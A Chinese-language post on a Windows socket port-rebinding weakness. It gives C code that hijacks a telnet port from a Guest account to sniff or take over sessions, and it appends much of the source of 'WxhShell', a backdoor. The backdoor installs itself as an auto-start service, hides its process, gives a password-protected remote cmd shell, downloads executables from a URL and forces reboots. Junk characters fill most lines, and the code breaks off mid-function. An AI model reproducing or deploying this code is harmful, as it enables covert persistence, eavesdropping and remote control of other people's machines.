在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
.H;B=nd* s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
pieT'mA E <@\>y.[ saddr.sin_family = AF_INET;
.hz2&9Ow cC6z,0`3 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
eqFvrESN~= ePA;:8)_j bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
~iTxv_\=6u 6Y?`=kAp 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
9O >z4o i>GdRG&q 这意味着什么?意味着可以进行如下的攻击:
T\3 [F%? 84`rbL!M 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
W^R'@ ba&o;BLUy 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
V*qY"[ {8m1dEC^@Q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
_Y#Bm/* {%7<" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
~I$}# =R9*;6?N 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
>h7$v~nra
T&/_e
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
nLd~2qBuv &z ksRX 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
5P\N"Yjx' _;G=G5r #include
3j&B(aLy #include
'G
Y/Q5 #include
8A/>JD3^ #include
;Q90Y&{L=$ DWORD WINAPI ClientThread(LPVOID lpParam);
TcZN% int main()
*gSO&O= {
-A;w$j6* WORD wVersionRequested;
"^"'uO$ DWORD ret;
csvOg[ WSADATA wsaData;
1ZNNsB BOOL val;
FNJ!IkuR SOCKADDR_IN saddr;
;IhPvff SOCKADDR_IN scaddr;
9HKf^+';n int err;
3kw}CaZ6 SOCKET s;
xMsGs SOCKET sc;
nP
u`;no int caddsize;
=c]a
{|W? HANDLE mt;
"WP% REE! DWORD tid;
QK7e|M wVersionRequested = MAKEWORD( 2, 2 );
=h[yAf err = WSAStartup( wVersionRequested, &wsaData );
@YB85p"]J. if ( err != 0 ) {
R-C5*$ printf("error!WSAStartup failed!\n");
,RN|d0dE return -1;
^H'kHl'F }
MiD saddr.sin_family = AF_INET;
u\w 2S4c J!<#Nc //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
"OJr*B =M7PvH'" saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Mk "vvk saddr.sin_port = htons(23);
a
8-;
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$kv[iI@ {
9<Ag1l printf("error!socket failed!\n");
z5ZKks return -1;
]umZJZ#Y }
jMqx val = TRUE;
,4yG(O$) //SO_REUSEADDR选项就是可以实现端口重绑定的
ex0oAt^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
pj@Yqg/ {
' 3VqkQ4 printf("error!setsockopt failed!\n");
PC0HH return -1;
q xSs
~Qc }
OaNc9c" //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
<vLdBfw&N //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
i :EO(` //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
)^(P@D.L 8.-S$^hj~6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
nHVPMi> {
h,.fM}=H ret=GetLastError();
O sB?1;: printf("error!bind failed!\n");
!c." return -1;
gE1|lY$NL }
e
SK((T listen(s,2);
h-,?a_ while(1)
*@~`d*d {
Seg#s. caddsize = sizeof(scaddr);
k!9= //接受连接请求
*{Yi}d@h( sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
R@OSqEnr if(sc!=INVALID_SOCKET)
PJ0Jjoh"Y {
_ flgQ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
i<Q&
D\Pv if(mt==NULL)
OMi02tSm {
mDlCt_h printf("Thread Creat Failed!\n");
W0U`Kt&~a break;
qKA_A% }
e6o/q)9# }
)kF2HF CloseHandle(mt);
v10mDr }
(<
:mM closesocket(s);
D| [/>x WSACleanup();
rI *!"PL return 0;
~R'BU=!;F }
+R9%~Z.= DWORD WINAPI ClientThread(LPVOID lpParam)
,5=kDw2 {
e7lo!(># SOCKET ss = (SOCKET)lpParam;
Yu1QcFuy SOCKET sc;
cNx
\&vpd unsigned char buf[4096];
i<J^:7 SOCKADDR_IN saddr;
{dZ!I long num;
t(wZiK} DWORD val;
OCwW@OC + DWORD ret;
qT"drgpi3 //如果是隐藏端口应用的话,可以在此处加一些判断
R/Tj^lM //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
sD2*x T saddr.sin_family = AF_INET;
:wSJ-\'$ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
x<Iy<v7- saddr.sin_port = htons(23);
uvR0TIF4 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
87+.pM|t% {
F:M/z#:~ printf("error!socket failed!\n");
n$IWoIdbGN return -1;
-*r [ }
HE@-uh val = 100;
$]nVr(OZ_ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>eEnQ}Y {
kHGeCJe\{ ret = GetLastError();
O(WEgz return -1;
Tw}@+- }
j/~VP2R` if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
D8gQRQ {
?U}sQ;c$ ret = GetLastError();
vwm|I7/w return -1;
@>+^W& }
-e &$,R>; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
@;g`+:= {
sE^ns\&QP= printf("error!socket connect failed!\n");
=.VepX|?D closesocket(sc);
Th.3j's closesocket(ss);
(_s;aK return -1;
B,r5kQI4 }
V[4(~,9 while(1)
KSF5)CZ5 {
G% o7BX //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
H]Y#pLu| //如果是嗅探内容的话,可以再此处进行内容分析和记录
5<!o{)I //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
~K4k'
num = recv(ss,buf,4096,0);
$,}Qf0(S if(num>0)
mgk64}K [n send(sc,buf,num,0);
h_AJI\{" else if(num==0)
#8S [z5 ` break;
A1mYkG)l num = recv(sc,buf,4096,0);
f&=K]:WDe if(num>0)
@gs26jX~2} send(ss,buf,num,0);
37J\i ] else if(num==0)
ww-XMz h break;
JqL<$mSep }
]lymY _ > closesocket(ss);
&uv>'S#% closesocket(sc);
:yd=No@ return 0 ;
%j~9O~- }
.@4Q kG/ *U( 1iv0n j7QBU ==========================================================
;%v%K+}r 9vB9k@9 下边附上一个代码,,WXhSHELL
m]bL)]Z dVasm<lZ ==========================================================
'~ jy hVQ7'@ #include "stdafx.h"
9m%7dsv e@='Q H #include <stdio.h>
Z}]:x
`fXd #include <string.h>
THrc
H #include <windows.h>
(k7; #include <winsock2.h>
EG'7}W #include <winsvc.h>
i)A`Vpn #include <urlmon.h>
_Cu[s?,kS OI)&vQ5k #pragma comment (lib, "Ws2_32.lib")
Q3 K;kS #pragma comment (lib, "urlmon.lib")
k/$Ja; z44 #define MAX_USER 100 // 最大客户端连接数
oA(. vr #define BUF_SOCK 200 // sock buffer
]s1TJw [B #define KEY_BUFF 255 // 输入 buffer
:7HVBH ~Da
>{zHt #define REBOOT 0 // 重启
'?&B5C #define SHUTDOWN 1 // 关机
'e+-,CGdY\ {LR#(q$1 #define DEF_PORT 5000 // 监听端口
daaga}]d U)&H.^@r$ #define REG_LEN 16 // 注册表键长度
$M:4\E5( #define SVC_LEN 80 // NT服务名长度
[V!^\g\6 )_Z]=5Ds // 从dll定义API
BsoFQw4$9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Y2RxD\!Z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
'DaNR`9 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
WyKUvVi typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
H}u)%qY+~ F?yh23&_4 // wxhshell配置信息
|HKHN?) struct WSCFG {
8cYuzt].. int ws_port; // 监听端口
@c.11nfn` char ws_passstr[REG_LEN]; // 口令
$bF`PGR_ int ws_autoins; // 安装标记, 1=yes 0=no
YHwVj?6W char ws_regname[REG_LEN]; // 注册表键名
BDv|~NHs char ws_svcname[REG_LEN]; // 服务名
eZa3K3^ char ws_svcdisp[SVC_LEN]; // 服务显示名
&4ug3 char ws_svcdesc[SVC_LEN]; // 服务描述信息
!?tu!
M<1? char ws_passmsg[SVC_LEN]; // 密码输入提示信息
$i1>?pb3 int ws_downexe; // 下载执行标记, 1=yes 0=no
Hl4vLx@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
&F@tmM~ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
'=@-aVp _*OaiEL+: };
*@b~f&Lx6 hW*^1%1 // default Wxhshell configuration
7v4-hfN struct WSCFG wscfg={DEF_PORT,
Jgi{7J "xuhuanlingzhe",
Z7K!"I 1,
^*$WZMMJ1 "Wxhshell",
qiwQUm{ "Wxhshell",
$G^H7|PzdC "WxhShell Service",
\rw'QAi8r "Wrsky Windows CmdShell Service",
cG~_EX$ "Please Input Your Password: ",
T1g:gfw@ 1,
s5_1}KKCs "
http://www.wrsky.com/wxhshell.exe",
!VJT"Ds_ "Wxhshell.exe"
J8`1V`$ };
tA;ZW2$# bKZAJLnd // 消息定义模块
(+]Ig> t char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
3RTB~K8:{ char *msg_ws_prompt="\n\r? for help\n\r#>";
#=)?s
8T char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
UC?2mdLt^ char *msg_ws_ext="\n\rExit.";
@n~ND). char *msg_ws_end="\n\rQuit.";
RN cI]oJ char *msg_ws_boot="\n\rReboot...";
N@%xLJF=N> char *msg_ws_poff="\n\rShutdown...";
^qSf char *msg_ws_down="\n\rSave to ";
qB`0^V (>)+;$Dr,\ char *msg_ws_err="\n\rErr!";
%>x0*T$$ char *msg_ws_ok="\n\rOK!";
.q|xMS}4 !T&u2=`D char ExeFile[MAX_PATH];
_3FMQY( int nUser = 0;
p!rGPyGC HANDLE handles[MAX_USER];
MRxo|A{ int OsIsNt;
`"bRjC"f] B4M'Er{v SERVICE_STATUS serviceStatus;
DI"dY
ug# SERVICE_STATUS_HANDLE hServiceStatusHandle;
4F 6ju6w Ri%Of:zZ // 函数声明
"~i#9L/H int Install(void);
:#"OCXr int Uninstall(void);
U8.0 L int DownloadFile(char *sURL, SOCKET wsh);
e-T9HM&%P int Boot(int flag);
fu7[8R"{ void HideProc(void);
;#Crh}~ int GetOsVer(void);
$7k04e@] int Wxhshell(SOCKET wsl);
QVA!z## void TalkWithClient(void *cs);
HjETinm" int CmdShell(SOCKET sock);
J[_?>YJ int StartFromService(void);
|~T+f& int StartWxhshell(LPSTR lpCmdLine);
w-q=.RSTn= CsQ}P) VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
_#\5]D~"" VOID WINAPI NTServiceHandler( DWORD fdwControl );
z;@S_0M,Z @?($j)9} // 数据结构和表定义
3 `C3+ SERVICE_TABLE_ENTRY DispatchTable[] =
~jrU#<'G9 {
f|HgLFx {wscfg.ws_svcname, NTServiceMain},
8mQd*GGu1 {NULL, NULL}
:L+zUlsf };
E Zu mhHm# // 自我安装
::Ve ,-0 int Install(void)
dsft=t8s {
=}1~~ char svExeFile[MAX_PATH];
B1AF4}~5 HKEY key;
u{y5'cJ{ strcpy(svExeFile,ExeFile);
{3yws4 RWEgUDX^/ // 如果是win9x系统,修改注册表设为自启动
:fMM-?s] if(!OsIsNt) {
I?xhak1)lu if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^LAS9K1. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&opH\wa RegCloseKey(key);
)F9V=PJE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
uma9yIk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
t3h \.(mq RegCloseKey(key);
!un"XI0`t< return 0;
rt4|GVa }
epm8N / }
l.t. ,: }
J jL0/& else {
_d"Y6
0 9#A{C!75(y // 如果是NT以上系统,安装为系统服务
tZ6v@W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
i\c^h;wX if (schSCManager!=0)
]`+"o[ {
?2
O-EiWjZ SC_HANDLE schService = CreateService
c9 TkIe (
Xwn|. schSCManager,
@zpHemdB wscfg.ws_svcname,
m0K2 p~ wscfg.ws_svcdisp,
uc
`rt" SERVICE_ALL_ACCESS,
vcUM]m8k SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
-1Ki7|0, SERVICE_AUTO_START,
z@40g)R2A SERVICE_ERROR_NORMAL,
RI].LB_ svExeFile,
Tr+Y@]"
NULL,
JZ*?1S> NULL,
,@j&q NULL,
), x3tTR NULL,
=I*ZOE3n NULL
/:];2P6#X );
q.Aw!]:! if (schService!=0)
Nl>b'G96 {
Ay. q) CloseServiceHandle(schService);
1F%*k &R CloseServiceHandle(schSCManager);
9hi(P*%q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
{Eb2<;1o{ strcat(svExeFile,wscfg.ws_svcname);
$2Tty 7 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
E?W!.hbA RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
bu!<0AP"N+ RegCloseKey(key);
\~m%4kzG8J return 0;
LHGK!zI }
XwqfWd_ }
7qdl,z CloseServiceHandle(schSCManager);
SX94,5 _Q }
AI`1N%Owi }
J*kzJ{vwy* RyIaT return 1;
;Z0cD*Jb }
EwJn1Mvq !haXO // 自我卸载
5|H(N}S_ int Uninstall(void)
t@mw f3, {
5+PBS)pJ]% HKEY key;
/VOST^z! RAJ|#I1 if(!OsIsNt) {
Kwmo)|7uPU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
mCP +7q7 RegDeleteValue(key,wscfg.ws_regname);
+(hwe
jyC RegCloseKey(key);
sjbC~Te-- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
eT
\Q RegDeleteValue(key,wscfg.ws_regname);
|r!Qhb.! RegCloseKey(key);
;C@^wI return 0;
.ceU @^ }
M>l+[U }
jT_Tx\k }
yru}f;1 else {
fpC@3 itI v8M#%QoA SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
m(Xr5hw:6 if (schSCManager!=0)
&_TjRj" {
~]s"PV:| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
s~'C'B? if (schService!=0)
l3
Bc
g {
z+`)|c4- if(DeleteService(schService)!=0) {
[\y>&"uk CloseServiceHandle(schService);
>TVd*S CloseServiceHandle(schSCManager);
B~?Q. <M return 0;
U0=zuRr n }
246!\zf CloseServiceHandle(schService);
/-9+( }
"PP0PL^5F CloseServiceHandle(schSCManager);
{}2p1-( }
k:yu2dQh }
S~`AnX3! z:?
<aT return 1;
T[II;[EiE }
:9< r(22 <JuJ`t // 从指定url下载文件
3S21DC@Y int DownloadFile(char *sURL, SOCKET wsh)
Q>Q}/{8! {
i2c<q0u HRESULT hr;
_A~gqOe char seps[]= "/";
E^ti!4{< char *token;
\?IwR]@y char *file;
Dy'l]vN$ char myURL[MAX_PATH];
qt;Tfuo char myFILE[MAX_PATH];
V'4}9J 0X6o strcpy(myURL,sURL);
qOanu token=strtok(myURL,seps);
{;~iq while(token!=NULL)
'%7]xp {
{Z;GNMO: file=token;
jCa;g{#@ token=strtok(NULL,seps);
,3[<C)'[ }
2fA9L _:0 `)P_X4e]` GetCurrentDirectory(MAX_PATH,myFILE);
CzbNG^+ strcat(myFILE, "\\");
+u)$o strcat(myFILE, file);
PA[Rhoit, send(wsh,myFILE,strlen(myFILE),0);
s&hP^tKT send(wsh,"...",3,0);
`h]f( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
JQ4>S<ttJ if(hr==S_OK)
+`[Sv%v&L return 0;
P.P>@@+d else
I8:&Btf return 1;
${2fr&Tp XOFaS '. }
H2KY$;X[ 2$UR"P // 系统电源模块
q{(&:~M int Boot(int flag)
!Z)^c& {
b
DvbM HANDLE hToken;
eF\C?4 TOKEN_PRIVILEGES tkp;
J4X35H=Z jzw?V9Ijb if(OsIsNt) {
U /Fomu OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
VG7#6)sQoK LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
EF~PM tkp.PrivilegeCount = 1;
pdu tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
' qVa/GJ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Xqw7lj;K if(flag==REBOOT) {
Mb!^_cS( if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
=hlu,
B y return 0;
bS6Yi)p }
s]>%_(5 else {
TD9`SSpP
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
xUoY|$fI return 0;
(o\~2e: }
)T_#X! }
.9QQ]fLs else {
%q^]./3p if(flag==REBOOT) {
*RM'0[1F4 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Uc2#so$9 return 0;
Z;s-t\C }
DVH><3FF else {
+.cv,1Vx if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
|SleSgS<# return 0;
i|GC 'XD@ }
h#nQd=H<g# }
q"oNB-bz E]Q)pZ{Jb return 1;
BD+?Ad? }
l"8YI sir +3CMfYsr8 // win9x进程隐藏模块
7 >(ygu void HideProc(void)
sxtGl^,mU: {
3\7$)p+c qiN'Tuw9 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
2B;QS\e" if ( hKernel != NULL )
?YO%]mTP {
iI7~9SCE pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
K(2s% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
QeoDq
FreeLibrary(hKernel);
f'S"F }
N5DS-gv Qt 2hb return;
^p/mJ1/s7 }
cO9Aw ! 2hP8ZfvIR // 获取操作系统版本
.VT,,0 int GetOsVer(void)
Is[0ri {
":ycyN@g OSVERSIONINFO winfo;
79_MP winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Viw3 /K GetVersionEx(&winfo);
=KLYR UW if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
QZo l(2~Y return 1;
,d#4Ib else
cALs;)z return 0;
AbB>ZT>hR }
+fN0>@s KMZ`Wn= // 客户端句柄模块
rf@81Ds int Wxhshell(SOCKET wsl)
|*i-Q @
D {
[qB=OxH? SOCKET wsh;
@$]h[ struct sockaddr_in client;
S8l+WF4q DWORD myID;
M;R>]wP"V Tx_LH"8 while(nUser<MAX_USER)
7Z_iQ1 {
oLoa71Q} int nSize=sizeof(client);
0P 42C{>'w wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
5]E5 V@C if(wsh==INVALID_SOCKET) return 1;
>B0S5:S$W |a+8-@-Tj handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
b%(0AL if(handles[nUser]==0)
cf9y0 closesocket(wsh);
{;U:0BPI3 else
Nsq%b?# nUser++;
\=)h6AG }
r+Y1m\ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
x{E[qH_1Fm d<o return 0;
^_uzr}LE` }
=RA6 p aF:LL>H // 关闭 socket
XJ"9D#"a> void CloseIt(SOCKET wsh)
V]2Q92 {
-84Z8?_ closesocket(wsh);
AO6;aT nUser--;
jo;n~>3P ExitThread(0);
/Q-!><riD }
/+u*9ZR&1 9YKEME+: // 客户端请求句柄
^^m%[$nw&r void TalkWithClient(void *cs)
SzgVvmM} {
ctGjqHo SDkN SOCKET wsh=(SOCKET)cs;
myXV~6R
3 char pwd[SVC_LEN];
e(Verd:c char cmd[KEY_BUFF];
vjpe'zx char chr[1];
l< Y x int i,j;
PA E)3 ag6S"IXh while (nUser < MAX_USER) {
7j+.H/2 V4 7Fp if(wscfg.ws_passstr) {
vd~O:=)4 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
x{m)I<.: //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4[?Q*f! //ZeroMemory(pwd,KEY_BUFF);
ep5aBrN]" i=0;
4{|lzo'& while(i<SVC_LEN) {
J [1GP_ x;+,lP // 设置超时
(H$eXW7 fd_set FdRead;
\ys3&<;b struct timeval TimeOut;
2.6,c$2tB FD_ZERO(&FdRead);
aUnm9ur FD_SET(wsh,&FdRead);
&IcDUr]L TimeOut.tv_sec=8;
-Je+7#P1 TimeOut.tv_usec=0;
rP'oUV_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
&+\wYa, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
;(XSw%Y
H SV.*Z|"^N if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
t5&$ y` pwd
=chr[0]; 1g;3MSn~
if(chr[0]==0xd || chr[0]==0xa) { PSRGlxdO
pwd=0; JOMZ&c^
break; zVIzrz0
} Z5\6ca
i++; B7#;tCf
} nJ,56}
L2 I/h`n"
// 如果是非法用户,关闭 socket 7Qo*u;fr
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]SQ_*$`
} @t_<oOI2
kz#DBh!&
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !n7?w@2a'
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5+U~ZW0|+
I0Vm^\8
while(1) { RKe19l_V
E( TY%wO
ZeroMemory(cmd,KEY_BUFF); b`^$2RM&
+G?3j ,a\
// 自动支持客户端 telnet标准 )T>a|.
j=0; 3}"VUS0wh
while(j<KEY_BUFF) { <Sz9: hg-
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ss8`;>
cmd[j]=chr[0]; A3Su&0uaB
if(chr[0]==0xa || chr[0]==0xd) { 9(m^^
cmd[j]=0; &?~> I[^~
break; zIQ\_>
} iB\d`NUf
j++; ]Y3ALQr!
} zRe0z2
+Y.As
// 下载文件 ;G w5gK^
if(strstr(cmd,"http://")) { YXmLd'F^3
send(wsh,msg_ws_down,strlen(msg_ws_down),0); f`?|A
if(DownloadFile(cmd,wsh)) pD){K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); dZZHk
else &B))3WFy
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UPbG_ #"wZ
} 2+|[e_
else { 6ds&n#n
V482V#BP
switch(cmd[0]) { jildiT[s
[9w8oNg0
// 帮助 *`dGapd3
case '?': { z8gp<5=
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n.XT-X^
break; poM VB{U
} _N<8!(|w
// 安装 Z
rvb
%
case 'i': { P/^:IfuR
if(Install()) OrzDr
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r>
NgJf,
else 0n5N-b?G-@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `AYHCn
break; HIF.;ImG^
} {~Phc 2z
// 卸载 %R}}1
case 'r': { Rrs z{a
if(Uninstall()) UA{A G;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Uzg&eB
else e\\ I,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /H}83 C
break; ?:UDK?
} vRm;H|[%S
// 显示 wxhshell 所在路径 ."9v1kW
case 'p': { SV-pS>#
char svExeFile[MAX_PATH]; *r[PZ{D+
strcpy(svExeFile,"\n\r"); v\Q${6kEtx
strcat(svExeFile,ExeFile); *ozeoX'5D
send(wsh,svExeFile,strlen(svExeFile),0); !sUo+Y
break; `2{x8A
} <
=sO@0(<
// 重启 ,*Sj7qb#
case 'b': { y+@7k3"
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =T!M`
if(Boot(REBOOT)) S?;&vs9j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9^ )=N=wV
else { #p0vrQ;5f
closesocket(wsh); I:[3x2H
ExitThread(0); {G_ZEo#x8,
} "`16-g97
break; ]>&au8
} Rs7=v2>I
// 关机 &d=j_9
case 'd': { YMC*<wXN
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |]^OX$d
if(Boot(SHUTDOWN)) 4h?[NOA"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9=Y-w s
else { uTngDk
closesocket(wsh); (J5E]NV
ExitThread(0); =ejkE;
%L
} @"];\E$sI
break; vTN$SgzfCU
} 8IbHDDS
// 获取shell gTm[ <Y
case 's': { a3JG&6-
CmdShell(wsh); !fjDO!,!
closesocket(wsh); Kh}#At^C8e
ExitThread(0); 5^*I]5t8
break; Y@F@k(lOo
} "\Z.YZUa\
// 退出 *RivZ
c9;P
case 'x': { (;V6L{Rf>
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BA53
CloseIt(wsh); |I6\_K.=L
break; WM~@/J
} #D&eov?
// 离开 =rGjOb3+
case 'q': { vEk
jd#
send(wsh,msg_ws_end,strlen(msg_ws_end),0); g&) XaF[!
closesocket(wsh); G)G5eXXX
WSACleanup(); UOi8>;k`
exit(1); <Zl}u:(w
break; pq*W;6(-
} H9F\<5n]-l
} .e~17}Ka}
} `~F=
*{/BPc0*
// 提示信息 txw:m*(%
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4DaLmQ2O
} 9])dLL0
} V)=!pT
*xI0hFJIM
return; GMyzQ]@}
} n3-5`Jti
p<: bPw
// shell模块句柄 Gk
g)\ 3
int CmdShell(SOCKET sock) N*gnwrP{
{ )OS^tG[=
STARTUPINFO si; 4[v
%]g`
ZeroMemory(&si,sizeof(si)); IZoS2^:yw
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N^jQ\|A<
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q ^Un,h64t
PROCESS_INFORMATION ProcessInfo; TFjb1a,)
char cmdline[]="cmd"; %77v'Pz1
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [< Bk% B5
return 0; ]nY,%XE
} Qo+I98LX[
h(l4\)
// 自身启动模式 Lk9X>`b#B
int StartFromService(void)
hRHqG
{ ;shhgz$
typedef struct UJ* D
{ qwM71B!r
DWORD ExitStatus; ZxFRE#y~2
DWORD PebBaseAddress; a<*q+a(*W
DWORD AffinityMask; '@i0~
DWORD BasePriority; T{<riJ`O
